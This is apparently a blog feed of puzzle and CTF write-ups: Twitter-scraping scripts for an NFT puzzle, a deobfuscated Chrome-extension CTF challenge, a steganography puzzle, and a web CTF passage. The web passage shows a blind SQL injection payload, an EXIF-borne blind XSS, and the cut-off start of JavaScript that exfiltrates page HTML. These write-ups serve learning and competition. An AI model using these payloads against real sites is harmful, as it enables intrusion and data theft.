                            print("Failed: {0}".format(user["content"]))

    except Exception as e:
        print("Failed ({0}|{1}): {2}".format(cursor, count, e))
        exit()

    print(nextData)

    return nextData

cursor = "1698851070430206586"
count = "1389680245111520887"

while True:
    nextData = getFollowers(cursor, count)
    cursor = nextData[0]
    count = nextData[1]

Unfortunately, we were hit with rate limiting almost immediately.

We decided to take an alternative approach where we would:

  • Pull all of the Twitter usernames from the mosaically.com page
  • Query 100 Twitter profile pictures per request via api.twitter.com/1.1/users/lookup.json. Based on the Twitter Developer API docs, this is limited to 900 requests every 15 minutes. We would be able to fetch all 50k users without restriction.

In these scripts, I show how we created the sqlite database for storing the users and also how we pulled their Twitter profile pictures:

Updating sqlite file with profile images from Twitter: https://gist.github.com/ziot/ca727f789b83c016af6e2fdbd6dde03e

import requests, json, sqlite3, time

con = sqlite3.connect('db/memory.db')
cur = con.cursor()

def getAvatars(userStr):
    url = "https://api.twitter.com/1.1/users/lookup.json?screen_name={0}".format(userStr)
    headers = {
        "Cookie": "",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/json",
        "X-Twitter-Auth-Type": "OAuth2Session",
        "X-Twitter-Client-Language": "en",
        "X-Twitter-Active-User": "yes",
        "X-Csrf-Token": "",
        "Authorization": "",
        "Referer": "https://twitter.com/coin_artist/followers"
    }
    r = requests.get(url, headers = headers)
    return json.loads(str(r.text).encode("utf-8"))

def loadUsers(pagination):
    limit = 100
    users = []
    for row in cur.execute('SELECT user_name FROM users ORDER BY user_id ASC LIMIT {0},{1}'.format((pagination*limit), limit)):
        users.append(row[0])
    userStr = ",".join(users)
    users = getAvatars(userStr)
    try:
        for user in users:
            cur.execute('UPDATE users SET twitter_avatar="{0}" WHERE user_name="{1}"'.format(user["profile_image_url_https"], user["screen_name"]))
    except:
        print("failed:", users)
    # save
    con.commit()
    
for x in range(1,501):
    loadUsers(x)
    print("{0} finished".format(x))
    time.sleep(1)

# close connection
con.close()

Pulling the mosaic profiles and diffing the avatars: https://gist.github.com/ziot/c2c681cc6424c62a2b9ebfa506f1eadb

import requests, json, hashlib, re, urllib.request, sqlite3
from multiprocessing import Pool

con = sqlite3.connect('db/memory.db')
cur = con.cursor()

def find_between( s, first, last ):
    try:
        start = s.index( first ) + len( first )
        end = s.index( last, start )
        return s[start:end]
    except ValueError:
        return ""

def checkDefaultAvatar(user):
    for row in cur.execute('SELECT twitter_avatar FROM users WHERE user_name="{0}" LIMIT 1'.format(user)):
        twitterAvatar = row[0]
    if "default_profile_images" in twitterAvatar:
        return True
    else:
        return False


def checkAvatar(path):
    url = "https://8.azureedge.net/img?l={0}".format(path)
    r = requests.get(url)
    hash = doMD5(r.text)
    return hash

def getName(data):
    result = re.search('([0-9]+)\_(.*)\.jpg', data["name"])
    name = result.group(2)    
    return name

def saveImage(url, name):
    url = "https://8.azureedge.net/img?l={0}".format(url)
    urllib.request.urlretrieve(url, "imgs/{0}.jpg".format(name))

def getTile(tileCoords):
    try:
        x = tileCoords["x"]
        y = tileCoords["y"]
        url = "https://mosaically.com/slmake/gettileinfoatxy/?MosaicId=fd40c771-f976-4bf7-96b8-80379da82333&selectedRow=-1&x={0}&y={1}".format(x,y)
        r = requests.get(url)
        data = json.loads(r.text)
        # name = data["name"].split("_")[1]
        name = getName(data)
        thumb = data["thumb"]
        thumbMD5 = checkAvatar(thumb)
        if checkDefaultAvatar(name):
            if thumbMD5 != "611f87b37c4cbcb8143ccbcd6207277a":
                saveImage(thumb, name)
                print(x,y,name,thumb,thumbMD5)
    except Exception as e:
        print('exception: {0}  - {1}, {2}'.format(e, x, y))
        return

    print('finished: {0}, {1}'.format(x,y))


def doMD5(input):
    m = hashlib.md5()
    m.update(input.encode("utf-8"))
    return m.hexdigest()

toCheck = []

for x in range(0, 182):
    for y in range (0, 273):
        toCheck.append({"x":x,"y":y})

if __name__ == '__main__':
    pool = Pool(processes=10)
    pool.map(getTile, toCheck)

This script had a fairly good success rate. We hit 50 profiles that contained a Twitter default avatar and the mosaic avatar mismatched. Unfortunately, 2 were false positives and after further analysing the data, we were missing 2 puzzle images.

The manual effort had found all of them except for 1, meaning our manual effort actually worked faster AND better than the programmatic approach. We stuck with both efforts, but set out with a new goal:

  • Download all 50k mosaic avatar images, then do image comparison analysis. At this point we knew there were 12 sets of 4 images and we already had 3 images for the set we were missing an image from. If we ran the image analysis comparison against each profile image with the 3 images we already had, we should get a hit.
  • More importantly: continue our manual efforts!

After an hour, the manual effort pulled through and found the image we were missing. We decided to toss the image we found at the image analysis to see if it got a hit and it did not. This is a good lesson that trying to go fast with scripts and casting a wide net sometimes is a burden rather than saving you time.

The resulting set:

Putting it together into a spreadsheet:

We realized there are sets of Neon District characters and each set had four images. These sets were labelled with A, B, C, and D. They also contained a numeric string on the right side of them. We put these numeric strings into the excel sheet to further analyze the data:

The strings:

  • 9137174529995420057710
  • 713876227637167595537
  • 1913644091575210065956
  • 1113582243745332142119
  • 212779986703575572492
  • 1513089092305320468505
  • 313628096403213598723
  • 212754788261437358094
  • 19131476789261375078511
  • 1113716079581827932188
  • 12133854265528263475212
  • 413821332111788154941

We made a few realizations:

  • A-C were always 6 length and the font size is static in the image. It appeared that a single string was split across the four images. This suggests we should concat the strings together.
  • The lengths were not even, they went between 21 to 23. This means we cannot turn them into a grid or anything of that sort.
  • The puzzle wallet is an Ethereum address and with twelve numbers, they likely somehow result into BIP wallets for a bip seed word private key.

After a few hours of poking and prodding, we made our first breakthrough. If you look at the end of each string, there is 1 through 12.

  • 9137174529995420057710 = 10
  • 713876227637167595537 = 7
  • 1913644091575210065956 = 6
  • 1113582243745332142119 = 9
  • Etc.

This was a really convenient thing to notice because the strings being uneven makes them vastly more difficult to work with. By establishing that parts of the string are probably indicators and the data to work with is somewhere in the middle of the string, it let us view it from a new perspective.

The second thing we noticed is that all of these strings near the front either started with 12 or 13.

9 13 71745299954200577 10
7 13 87622763716759553 7
19 13 64409157521006595 6
11 13 58224374533214211 9
2 12 77998670357557249 2
15 13 08909230532046850 5
3 13 62809640321359872 3
2 12 75478826143735809 4
19 13 14767892613750785 11
11 13 71607958182793218 8
12 13 385426552826347521 2
4 13 82133211178815494 1

In previous coin_artist puzzles, she was notorious for using 1347 as a calling card of sorts. If you found the number in a step or in a location relative to a puzzle, you knew you were on the right path. The fact that there were 1371, 1387, 1364, etc. all around the data, it was a rabbit-hole we dove into. This turned out to be nothing. After a few more hours, we made our second breakthrough!

The 12 and 13s were part of the data in the 3rd column, they are coin_artist tweet IDs. Example: https://twitter.com/coin_artist/status/1371745299954200577

9 https://twitter.com/coin_artist/status/1371745299954200577 10
7 https://twitter.com/coin_artist/status/1387622763716759553 7
19 https://twitter.com/coin_artist/status/1364409157521006595 6
11 https://twitter.com/coin_artist/status/1358224374533214211 9
2 https://twitter.com/coin_artist/status/1277998670357557249 2
15 https://twitter.com/coin_artist/status/1308909230532046850 5
3 https://twitter.com/coin_artist/status/1362809640321359872 3
2 https://twitter.com/coin_artist/status/1275478826143735809 4
19 https://twitter.com/coin_artist/status/1314767892613750785 11
11 https://twitter.com/coin_artist/status/1371607958182793218 8
12 https://twitter.com/coin_artist/status/13385426552826347521 2
4 https://twitter.com/coin_artist/status/1382133211178815494 1

It was at this point that we knew what we had to do with the puzzle. The left number is a book cipher indexing into the tweet to pull bip words. The number on the right is the order for the BIP words for the private key.

For example, if we take “1113716079581827932188” and split it into the pieces:

  • Word index: 11
  • Tweet ID: 1371607958182793218
  • Order index: 8

Load the tweet:

https://twitter.com/coin_artist/status/1371607958182793218

Extract:

The 11th word of the tweet is: teach.

Pulling out the words:

Word Index Tweet ID Index BIP Word
4 1382133211178815494 1 right
12 13385426552826347521 2 rabbit
3 1362809640321359872 3 glad
2 1275478826143735809 4 cave
15 1308909230532046850 5 abstract
19 1364409157521006595 6 stage
7 1387622763716759553 7 fire
11 1371607958182793218 8 teach
11 1358224374533214211 9 choice
9 1371745299954200577 10 faith
19 1314767892613750785 11 special
2 1277998670357557249 12 play

We get the final private key seed word phrase:

right rabbit glad cave abstract stage fire teach choice faith special play

Solved!

Thanks again to coin_artist for always engaging us with fun puzzles and cutting edge experiences in the NFT space. Give her a follow and make sure you keep an eye out, you might be lucky enough to catch one of her puzzles as soon as it drops.

]]>
DEFCON 29 CTF Qualifier: 3FACTOOORX Write-up https://buer.haus/2021/05/03/defcon-29-ctf-qualifier-3factooorx-write-up/ Mon, 03 May 2021 14:34:32 +0000 http://buer.haus/?p=1096

I recently participated with the CTF team Norse Code representing Hacking for Soju in the DEFCON 29 CTF qualifiers. There was a web challenge, so I went full speed ahead to solve it. Overall the challenge is fairly straightforward and not too difficult, but I decided to do a write-up on it to demonstrate one way that you are able to work through obfuscated JavaScript.

The challenge begins with a website link and a Chrome browser extension that you can download.

URL: http://threefactooorx.challenges.ooo:4017

Interacting with the website, we can see there is a file upload.

When sending an HTML file, we get the following back:

Based on the challenge description and file provided, we can gather that a Chrome browser with the extension installed is loading the HTML we send. This is what the request looks like:

POST /uploadfile/ HTTP/1.1
Host: threefactooorx.challenges.ooo:4017
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------75344376227301306764121513080
Content-Length: 229
Origin: http://threefactooorx.challenges.ooo:4017
Connection: close
Referer: http://threefactooorx.challenges.ooo:4017/submit
Upgrade-Insecure-Requests: 1

-----------------------------75344376227301306764121513080
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<u>test</u>
-----------------------------75344376227301306764121513080--

So at this point we know we have to dive into the browser extension. The extension looks like the following:

It is comprised of the following files:

  • \3FACTOOORX-public\background_script.js
  • \3FACTOOORX-public\content_script.js
  • \3FACTOOORX-public\manifest.json
  • \3FACTOOORX-public\icons\icon.png
  • \3FACTOOORX-public\pageAction\index.html
  • \3FACTOOORX-public\pageAction\script.js
  • \3FACTOOORX-public\pageAction\style.css

When you first dive into a browser extension, the manifest is the first thing you want to look at.

{
  "manifest_version": 2,
  "name": "3FACTOOORX",
  "description": "description",
  "version": "0.0.1",
  "icons": {
    "64": "icons/icon.png"
  },
  "background": {
    "scripts": [
      "background_script.js"
    ]
  },
  "content_scripts": [
    {
      "matches": [
        ""
      ],
      "run_at": "document_start",
      "js": [
        "content_script.js"
      ]
    }
  ],
  "page_action": {
    "default_icon": {
      "64": "icons/icon.png"
    },
    "default_popup": "pageAction/index.html",
    "default_title": "3FACTOOORX"
  }
}

This provides you with the following information:

  • The background_script.js file is always running in the background of the browser
  • The content_script.js file loads immediately on all_urls which means any page load

Looking at the background_script.js file, we see the following:

// Put all the javascript code here, that you want to execute in background.
chrome.runtime.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
                "from a content script:" + sender.tab.url :
                "from the extension");
    if (request.getflag == "true")
      sendResponse({flag: "OOO{}"});
  }
);

This lets us know that if the chrome extension receives a sendmessage with getflag = true, we'll get the flag sent back in response. There is no way we are going to pull that off with JavaScript/XSS unless the chrome extension gives us a way to interact with it. If we could, it would look like this:

chrome.runtime.sendMessage({getflag:true});

Moving past that, we have to look into the content_script.js file. Opening it up in notepad, we see a fairly typical obfuscated JavaScript file:

My initial attempts were to toss it at the following websites/tools:

  • beautifier.io - This one just beautifies the JS to make it easier to read.
  • JSNice.org - A tool that is really good at working through basic JavaScript obfuscation.
  • de4js - A tool that can work through JS obfuscation techniques.

Unfortunately, none of this really helped.

Trying to manually go through the JavaScript, one of the first things we look at is the data array at the top OOO_0x5be3 because this is likely strings that referenced by most of the code.

The OOO_0x1e05 function is used to deobfuscate the strings and we could use that to slowly string replace most of the script to make it more readable. However, there is a better approach than to do this manually - by using breakpoints in Chrome, we can call the obfuscated references directly in the console to see what the output is.

At this point I decided to install the extension on Chrome and work through the DOM manually with breakpoints. The first thing we do is open up an HTML page and look at the content script that gets injected. We do this by going to Sources -> Content scripts -> selecting the script -> beautifying it.

Now we can review the console for information and set breakpoints into the DOM to follow the code. Before diving into that, one of the first things we see is an error in the console:

Clicking the link on the right side, it will take us directly to the code that is throwing the error:

Code:

chilen = _0x1e6746[_0x2ca2fd(-0x22c, -0x1ea, -0x246, -0x1e5) + _0x3126db(-0x283, -0x277, -0x2c2, -0x29c)]('*')[_0x3126db(-0x21d, -0x226, -0x229, -0x1e1)]

This looks like nothing, right? So we click the number 477 on the left side of the code to set a breakpoint and refresh the page.

Instead of trying to work through the code and step through it, now we can do something really simple:

By throwing these strings into the console, we now know the line should read as:

chilen = _0x1e6746["querySelectorAll"]('*')["length"]

Now we repeat this process for the entire function to gather more information about what it is trying to select. Eventually we get to the following point:

function check_dom() {
        
    _0x525a15['KoOZC'] = "#thirdfactooor";
    _0x525a15["RkNoD"] = "INPUT";
    _0x525a15["QwGfh"] = "QzIrw";
    _0x525a15["IKmUR"] = "cunYq";
    
    const _0x2c0eff = _0x525a15;
    
    var threeFAElement = document["getElementById"]("3fa");
    
    chilen = threeFAElement["querySelectorAll"]('*')["length"];
    maxdepth = 0;
    total_attributes = threeFAElement["attributes"]["length"];
    
    for (let _0x28c57b of threeFAElement["querySelectorAll"]('*')) {
        d = _0x2c0eff["wmicU"](getDepth, _0x28c57b);
        if (d > maxdepth) {
            maxdepth = d
        };
        if (_0x28c57b['attributes']) {
            total_attributes += _0x28c57b["attributes"]["length"];
        }
    }
    
    specificid = 0;
    
    _0x2c0eff["ueJYA"](document['querySelector']("[tost=\"1\"]"), null) && (specificid = 1);
    
    token = 0;
    
    // if (_0x2c0eff["hJFjw"](document["querySelector"]("#thirdfactooor")["tagName"], "INPUT")) {
    if(document["querySelector"]("#thirdfactooor")["tagName"] == "INPUT") {
        if (_0x2c0eff["QwGfh"] !== _0x2c0eff["IKmUR"]) {
            token = "1337";
        }else {
            function _0x2351ff() {
                return;
            }
        }
    }
    
    return totalchars = threeFAElement["innerHTML"]["length"], _0x2c0eff["TCJdK"](_0x2c0eff["TCJdK"](_0x2c0eff["TCJdK"](_0x2c0eff["TCJdK"](chilen, maxdepth) + total_attributes, totalchars), specificid), token);
}

There are specific lines we are looking at in here:

  • It is looking for an element with the id of 3fa.
  • It is selecting children elements and attributes inside of it.
  • It is looking for an input element with the id of thirdfactooor.
  • It wants an attribute of "tst=1" on one of the elements.

So we create an html file with the following:

<div id="3fa">
<INPUT id="thirdfactooor" type="text" value="test" tost="1" />
</div>

Now when we refresh and load the HTML file again, we are no longer getting any errors. That means we can start to dig through the code and figure out what it wants from us now. We solved that it is loading the check_dom function to load these elements. We have a few options here, one is that we can work backwards to see what function is calling check_dom since we know there is a code flow there. Alternatively, we go through and see what is executing on page load.

If we scroll to the bottom of the JavaScript, we see the following:

The immediate takeaways are:

  • It is creating an observer that is monitoring for DOM changes which is calling the function callback.
  • The script has a setTimeout (of 500ms) that executes on page load.
  • A function inside of the setTimeout has some interesting variable names: FLAG, nodesadded, nodesdeleted, attrcharsadded.

Setting breakpoints and going through similar steps as before, we can deobfuscate the script a bit:

setTimeout(function() {

    _0xd26915["getflag"] = _0x10b2d5["xOsuT"];
    
    chrome["runtime"]["sendMessage"](_0xd26915, function(_0x336e82) {
            
        FLAG = _0x336e82["flag"]; // OOO{}
        
        console['log'](_0x10b2d5["KShsG"]("flag: ", "OOO{}"));

        if(nodesadded == 5 && nodesdeleted == 3 && attrcharsadded=23 && domvalue=2188) {
            document['getElementById']("thirdfactooor")['value'] = "OOO{}";
        }

        const _0x369bcb = document['createElement']("div");
        _0x369bcb['setAttribute']('id', 'processed'), document["body"]['appendChild'](_0x369bcb);
        
    });
    
}, 500);

What we can derive from this almost immediately because the variable names were left intact, it is looking for the following variables before dumping the flag into the input we already created:

  • nodesadded = 5
  • nodesdeleted = 3
  • attrcharsadded = 23
  • domvalue = 2188

Knowing there is a DOM observer monitoring for these changes and we need it to execute at page load, we create some changes and set new breakpoints to see what happens:

<div id="3fa">
<INPUT id="thirdfactooor" type="text" value="test" tost="1"/>
<img src="." id="asdf1" />
<img src="." id="asdf2" />
<img src="." id="asdf3" />
</div>

<script>

document.getElementById("3fa").appendChild(document.createElement("LI"));
document.getElementById("3fa").appendChild(document.createElement("LI"));
</script>

We can see with our changes, nodesadded is 2 and domvalue is 1514. So we further expand this to match the criteria required with the final HTML file:

<div id="3fa">
<INPUT id="thirdfactooor" type="text" value="test" tost="1" style="width:100%;" />
<img src="." id="asdf1" />
<img src="." id="asdf2" />
<img src="." id="asdf3" />
<img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4" /><img src="." id="asdf4aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" />
<img id="x" src="x" class="a" />
</div>

<script>

document.getElementById("3fa").appendChild(document.createElement("LI"));
document.getElementById("3fa").appendChild(document.createElement("LI"));
document.getElementById("3fa").appendChild(document.createElement("LI"));
document.getElementById("3fa").appendChild(document.createElement("LI"));
document.getElementById("3fa").appendChild(document.createElement("LI"));

document.getElementById('asdf1').remove();
document.getElementById('asdf2').remove();
document.getElementById('asdf3').remove();

document.getElementById("x").setAttribute("thisisalongstringderpde", "thisisalongstringderpde"); 
</script>

Now that it is getting the values that it wants, we submit it through the website to see what we get out.

Overall, this was a fairly easy challenge that would have been a bit more difficult if all of the variable names were obfuscated. Either way, I had fun working through the obfuscation to figure out what it was expecting.

]]>
We Hacked Apple for 3 Months: Here’s What We Found https://samcurry.net/hacking-apple Thu, 08 Oct 2020 03:09:10 +0000 http://buer.haus/?p=1460 coin_artist – 34700 $coin Puzzle Write-Up ($20,000) https://buer.haus/2020/09/11/coin-coin-artist-20k-puzzle-write-up/ Sat, 12 Sep 2020 07:10:38 +0000 http://buer.haus/?p=985

Solvers:

A few of us recently participated in another puzzle and managed to be victorious, collecting 34700 $coin (est $20,000 at time of solve) prize. coin_artist of Blockade Game and Bitcoin fame recently launched a new crypto currency called $coin. She had the idea of having the coin's original value backed by the purchase of NFTs that cost several Ethereum.

There was a clever stipulation involved though, anyone who owned one of these original $coin NFTs would be able to solve a puzzle with a $coin reward once launched. Cloverme of Age of Rust (Space Pirate) purchased a few of these NFTs and gifted one of them to us. This gave us the chance to participate and attempt to solve her puzzle.

With the launch of $coin, it unleashed a new puzzle designed and created by Lee Sparks (motive).

Let's dive into it.

Stage 0: Start

The initial puzzle began with coin_artist announcing the puzzle on Twitter:

It's important you follow this link to the blog post and get the raw original image here:

https://ibb.co/N9Q4r8x

Analyzing the image, we see the following.

Using a visual stego tool such as stegsolve and scrolling through the various channels, we can see that those lines are actually morse code in an alpha layer.

We proceed to cconvert that into morse code, this gives you: COINTOKENSWAP

So we:

  • go to cointokenswap.com
  • Swap the old version of $COIN for the new version.
  • Interact with the bot on the Neon District Discord to get access to private Discord channel for Coin's E-den

This led to a countdown and we had to wait for the puzzle to launch.

Stage 1: Street Scum

... once the countdown hit on mid-afternoon EST 9/10/20, we were greeted with a new channel. The Blockade Games Discord has a bot that checks to see if you have $coin in your wallet and assigns you a new Discord role. With this bot, they were able to verify that you were eligible for the puzzle and this automatically adds you to a new Discord channel.

Inside of the new #puzzle-street-scum channel, there is a Discord bot named $CERES-IV.

The bot tells you that it has a few different commands:

$CERES-IV
BOT
09/10/2020
Hello. I'm CERES-IV, the AI.
Here's what I can do:

1. Type "$ceres-iv muse" and I will generate text randomly
2. Type "$ceres-iv ask [yourtexthere] " and I will generate text based on your input
3. DM me with your answers and it will be submitted for evaluation.

Despite the bot being interactive, the first thing we notice is in the channel topic:

uhzrxhcgheotg.gsf/lniym106
$ceres-iv help

Although we tried a bit, this was the beginning of the puzzle and the answer is relatively obvious as there is not much to go off of yet.

https://gchq.github.io/CyberChef/#recipe=Vigen%C3%A8re_Decode('streetscum')&input=dWh6cnhoY2doZW90Zy5nc2YvbG5peW0xMDY

Vigenere with the code of streetscum gives you:

cointokenswap.com/tlomu106

This leads to a 55mb wav file.

You'll notice that the beginning and end have DTMF tones, but there is a song in-between them. If you load this file up in Audacity, you'll see the following. The highlighted yellow areas are the DTMF tones:

There are a few ways you can extract this information. One method is to use a tool like Sonic Visualizer and view the Spectrogram, e.g.

Another method is to use an audio tool like Audacity, extract the audio out, and export it as wav. There are some online tools that will decode wav files and convert the DTMF tones into their number representations. This works because DTMF buttons have specific frequencies and the websites are able to parse the frequency throughout the audio.

Here's the start DTMF (volume warning):

And here's the end DTMF:

Unfortunately, individually the DTMF tones meant nothing. There are 16 tones in the beginning of the song and 16 at the end. Dual Tone Multi Frequency(DTMF) requires 2 tones per button. The starting tones are the lower frequency, and the ending tones are the higher frequencies. Using the DTMF chart you can find the button intersection for each tone pair.

The result is 2633967366366642 and the resulting output is CODEWORD MNEMONIC.

Sending the word MNEMONIC to the Discord bot, we get the following:

This completed the first step and sent you to a new channel - #puzzle-runner.

Stage 2: Runner

This channel had the following in the topic:

ar52K:ye#F]4pE>idPzIj>jT%yF2!5#qVR01j>N1r%zt,PqmKBy15+qiLR*&ZQ`oKBxIU*%;$yV%lEOiWuDg<W{{$y^4axlLwrdKY@UCN!]+qxM

With the special characters in the string, it looks like it'll be a base85 (ASCII85) or similar encoding. Not many encodings have these types of special characters and casings in them. It took us awhile, but we eventually found out there is a Base91 out there.

Using dcode's Base91 tool, we were able to get the following output:

combine the creators of my favorite game and favorite album and apply to what you repaired

So we go back to the Discord bot and ask the following:

  • What is your favorite game?
  • What is your favorite album?

Favorite game:

Answer: Minecraft
Creator: Notch

Favorite album:

Answer: The Amalgamut
Creator: Filter

Combining the two answers, you get the following answer: Notch Filter.

We 'repaired' the audio file, so we go back and try to apply the Notch Filter. The Notch Filter works by allowing you to destroy audio above a certain frequency range. By removing the frequency for the DTMF tones, you can now hear the voice of a woman reading out numbers. Here's a sample of what that sounded like:

Extracting what the woman is reading out, you get the following:

6d 75 73 31 63 61 6c 61 72 74 73 31 36 6d 70 34

Converting hex to ascii, you get the following string out: mus1calarts16.mp3

This leads to a new file:

https://cointokenswap.com/mus1calarts16.mp3

This file fails to load in the browser, but it looks like a valid mp3 at a glance. Opening it in a hex editor, you see the following:

It's quick to notice that this is ASCII art hidden in the base of the mp3 file:

This gives you a new word: n3tw0rk3duP

Boom~!

This moved us up to the #puzzle-handler channel.

Stage 3: Handler

This channel has the topic of the following:

1.$+>:c;6Z/1<qX.m,jL3<    xCERES ver.

The text on the right says "CERES ver." which is the Discord bot name. If you take the "IV" from the name and treat it as 4, you eventually come to the conclusion that this is enciphered 4 times in a row. So you take the cipher text and base85 (ascii85) decode 4 times in a row. This gives the following output:

frown106

Toss this into the website: https://cointokenswap.com/frown106 and you get a new wav file. If you listen to it, you realize it's the same as the first tlomu106 wav file. After doing an md5 checksum on both files, you will realize that both files are not entirely the same even though the audio matches. Knowing they were different, we assumed maybe some audio differed. Tossing these into Sonic Visualizer, they look identical:

It took a bit, but eventually we realized that the two names matched up:

  • tlomu106
  • frown106

frown could come up to tlomu if you "turn that frown upside-down". If you take both files and overlay them in a tool like Audacity, then you invert the frown file, the audio becomes completely silent. But there is a timeframe between 1:05 and 1:25 where a new "modem" sound plays.

If you know it, you know it. You can quickly recognize that this sound is SSTV and an image embedded in noise.

This gives you a new string: "/p4r4d1s3". You would think it's a new endpoint, but it's a string you send to the Discord bot:

JACK 3 tokyo zip QUEEN tokyo 5 xbox PARK QUEEN JACK WALMART GOLF walmart FRUIT queen WALMART HULU 8 NUT 2 VISA queen bestbuy EGG egg WALMART xbox coffee 2 9 4

It's quick to recognize that this cipher is simply a string encoded with words and numbers. Taking the first character or number and casing, you get the following: J3tzQt5xPQJWGwFqWH8N2VqbEgWxc294. This leads to a new file:

https://cointokenswap.com/J3tzQt5xPQJWGwFqWH8N2VqbEgWxc294

Downloading this file and viewing it with a hex editor. You quickly recognize that this file does not contain any magic bytes, strings, or anything; it's just a file with seemingly random data.

This is when we tapped into CTF forensic mentality and started to analyzing it as a file that has been xor'd. To put simply, a file of bytes that are the result of being manipulated with other bytes. The goal would be to reverse what was done to get the original bytes out. The first thing you do when you are trying to xor an unknown file type is to throw all the known magic bytes you can at it. This will either expose another file via magic bytes (xor of two files) or a string used as a xor key.

Going to the "file signatures" section of Wikipedia we start to copy hex bytes of different file types such as jpg, wav, png, gif, etc.

In the past, you had to pay real good attention or memorize a lot of different magic bytes to go this route. Lucky for us, Cyberchef can identify most of the common file formats nowadays and let you know if you're on the right path:

Putting in the hex bytes for WAV and xoring the junk file, we see that we get the magic bytes for a TIF image. So we know that we need to XOR a wav file with this junk file to get a TIF image out.

Result:

Now we know that we need to take one of the wav files (frown106.wav or tlomu106.wav) and XOR it against the J3tzQt5xPQJWGwFqWH8N2VqbEeWxc294 junk file. Using a tool like XorJ we can put both files in and get the TIF out real fast.

And this is the TIF file we get out:

We get an image with a strange looking alien symbol language. After spending hours looking for a font or trying to decode the cipher into morse, ternary, or something of the sort, we eventually had a realization. We can cut the image into three columns and they almost exactly align. After a bit of rotation, they align perfectly.

Although it looks like we got some strange looking letters in here, we could not get legible text out. Deep diving into the dots, we finally realized we could color them in to get some text out:

This gives us the string: st3r3oglyph. Yeeting it off to the bot:

At least! This is a significant discovery. Return to the beginning with this bit of information and tell me what you unPElock.

At the same time, this also updates you to the top role "mastermind" letting you know this is likely the last step (or steps) of the puzzle.

This step is fairly on the nose with what you need to do. If you look at the text, you can see the following words least, significant, bit. This is a hint towards "LSB" stenography. It also gives you the hint of "PELock" which turned out to be a stego tool. It also says "return to the beginning" which was either referencing the initial coin_artist $coin image or wav.

Using the following website with the password and the $coin png:
https://www.pelock.com/products/steganography-online-codec

We get the following out:

Boomski!

Solved!

Fin

This ended up being a fun technical puzzle that also led to one of the bigger prizes we have seen. This is mostly due to $coin growing rapidly and being worth a lot more money than original speculated. We hope that $coin will continue to have lots of engagement of this type and that people will be able to experience lots of fun puzzles like this in the future.

If you enjoy reading these write-ups and are wondering how you can get notified of cool puzzles or get involved in solving them, there are a few Discord's I recommend joining:

Special Thanks

I also cannot recommend enough that you follow these people on Twitter:

]]>
h@cktivitycon – Pizza Time (Web 750) https://buer.haus/2020/07/31/hcktivitycon-pizza-time-web-750/ Fri, 31 Jul 2020 19:10:55 +0000 http://buer.haus/?p=953

HackerOne just ran the online h@cktivity con and with it was a CTF. I spent 15 hours solving the big web challenge with the team Hacking for Soju called Pizza Time! This is yet another solid web CTF challenge created by the wizard Adam Langley.

This is the challenge text that leads you into it:

The important piece here is that they are intentionally calling out a wildcard scope, so we know it's going to come into play at some point.

Scope: *.pizza.hacktivity.h1ctf.com

When you go to the website, this is what you see:

We can note a few things from initially loading the page:

  • There is an API request to /toppings
  • There is a flow for ordering a pizza where you select toppings, enter your info, and can put a discount code in.
  • There is a support chat bot you can interact with

Going through the order flow, this is what the request looks like:

POST /order HTTP/1.1
Host: pizza.hacktivity.h1ctf.com

toppings%5B%5D=1&toppings%5B%5D=3&branch=6649&address%5Bline_1%5D=Test&address%5Bline_2%5D=&address%5Bline_3%5D=&address%5Bcity%5D=Test&address%5Bstate%5D=Test&address%5Bzipcode%5D=00000&email=hidden%40mrzioto.com&discount_code=

And this is what you get at the end:

The next thing is to look at the support chat bot. After typing a bunch of random strings in, I found that typing "order" finally gave a response.

I played around with a bit, until I noticed this:

Ahh, a Blind SQL Injection! I spent awhile writing a script to pull data from the database, which I eventually learned after was complete overkill. Here is the Python script I used to explore the schema:

https://gist.github.com/ziot/32c68da0fe574a25b2adc02d10f86232

After running the script for a bit, I ended up with the following:

information_schema
h1pizza
    order
        delivered
        hash
        id
        
id = 1001
hash = aau5....
delivered = 0/1

We have a schema h1pizza with the table order. The order table contained id, hash, and delivered. We know that 'hash' is the bit that we receive when we place an order. We know what the bot says when delivered=0, but what about an order with delivered=1? There's one order that has delivered=1 set, the order hash is: ul2hamz1

As a side note here: a lot of effort went into this blind SQLi and pulling the order ID, but literally all you needed to type was:

' or delivered='1

Either way, this is where it leads you:

The link leads to a claim form:

https://pizza.hacktivity.h1ctf.com/claim/47080a17833c6ec2b51ec73d36499b98

This is what it looks like:

That red textbox there is a nice little hint for the next step, that I might add, was not there when I first went through it. 😛

There's an attachment form for images and the text basically points towards Blind Cross-Site Scripting via image EXIF data. So we need to grab a valid jpeg image, modify the exif data, and toss our XSS payload in there. A good tool for this is Exif Pilot, but there are a lot of online tools that can do this too.

When we upload that image, we get a hit from the server:

161.35.169.187 - - [30/Jul/2020:06:56:40 +0000] "GET /2 HTTP/1.1" 404 3802 "https://pizza.hacktivity.h1ctf.com/claim-review/19e98182b4adfc213ee70da38094c1fb" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.90 Safari/537.36"

Now we have a new URL, but we can't hit it:

https://pizza.hacktivity.h1ctf.com/claim-review/19e98182b4adfc213ee70da38094c1fb

Next step is to write some JS code to exfil the page contents.

window.addEventListener('load', function() {
    var data = btoa(encodeURIComponent(document.documentElement.outerHTML));
